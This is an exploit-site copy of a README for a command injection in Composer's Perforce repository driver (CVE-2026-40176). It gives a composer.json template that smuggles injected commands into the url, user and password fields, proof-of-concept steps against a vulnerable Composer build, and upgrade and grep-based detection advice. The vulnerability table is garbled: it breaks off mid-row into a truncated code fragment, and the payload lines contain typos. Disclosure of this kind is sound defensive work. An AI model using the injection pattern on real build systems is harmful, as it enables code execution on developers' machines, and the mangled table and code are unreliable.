Exploit for CVE-2026-40176 CVE-2026-40176 CVE-2026-40261

## https://sploitus.com/exploit?id=A7682F24-D24E-5343-B019-5F50C3AE9FDE
# CVE-2026-40176

## Composer Perforce Repository Remote Code Execution (RCE)

[![Composer Version](https://img.shields.io/badge/composer-%3C2.2.27-red.svg)](https://getcomposer.org/)
[![Severity](https://img.shields.io/badge/severity-CRITICAL-red.svg)](https://nvd.nist.gov/)
[![Type](https://img.shields.io/badge/type-RCE-red.svg)](https://owasp.org/www-community/attacks/Command_Injection)

---

## 📋 Summary

**Command Injection vulnerability in Composer's Perforce repository driver allowing Remote Code Execution (RCE) through insufficient input validation in repository URL processing.**

---

## 🎯 Vulnerability Details

| Property | Value |
|----------|-------|
| **CVE ID** | CVE-2026-40176 |
| **Affected Versions** | Composer getUser() . ' ';
        if ($useClient) 
            $p4Command .= '-c ' . $this->getClient() . ' ';
        }
        $p4Command .= '-p ' . $this->getPort() . ' ' . $command;

        return $p4Command;
    }
```

All of it was not escaped properly, allowing an attacker to inject commands by crafting a malicious payload for all field with the `perforce` type.

**Vulnerable Code Pattern:**

```json
{
  "repositories": [
    {
      "type": "perforce",
      "url": "PERFORCE_URL; INJECTED_COMMAND #",
      "depot": "depot",
      "p4user": "user; INJECRTED_COMMAND #",
      "p4password": "password; INJECTED_COMMAND #",
    }
  ]
}
```

---

## 🚀 Proof of Concept

This repository contains a working proof-of-concept demonstrating the vulnerability.

### Project Structure

```
CVE-2026-40176/
├── composer.json              # Malicious Perforce repository config
├── vuln-composer.phar         # Composer 2.2.26 (VULNERABLE)
├── patched-composer.phar      # Composer 2.2.27 (PATCHED)
└── README.md                  # This file
```

### Reproduction Steps

#### 1. Clone the repository

```bash
git clone 
cd CVE-2026-40176
```

#### 2. Verify Composer versions

```bash
php vuln-composer.phar --version
# Output: Composer version 2.2.26

php patched-composer.phar --version
# Output: Composer version 2.2.27
```

#### 3. Test vulnerable version

```bash
php vuln-composer.phar install
# OR
php vuln-composer.phar update
```

#### 4. Verify exploitation

```bash
ls -la /tmp/pwned
```

#### 5. Test patched version (should fail)

```bash
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# File should NOT exist (vulnerability is patched)
```

## 🛡️ Mitigation

### Immediate Actions

1. **Upgrade Composer** to version 2.2.27 or later:

   ```bash
   composer self-update --2.2.27
   # OR
   wget https://getcomposer.org/download/2.2.27/composer.phar
   ```

2. **Review all composer.json files** for unknown or suspicious repository configurations

3. **Audit supply chain** - Check if any dependencies reference untrusted repositories

### Detection

```bash
# Check your Composer version
composer --version

# Search for Perforce repositories in your projects
grep -r "perforce" */composer.json
```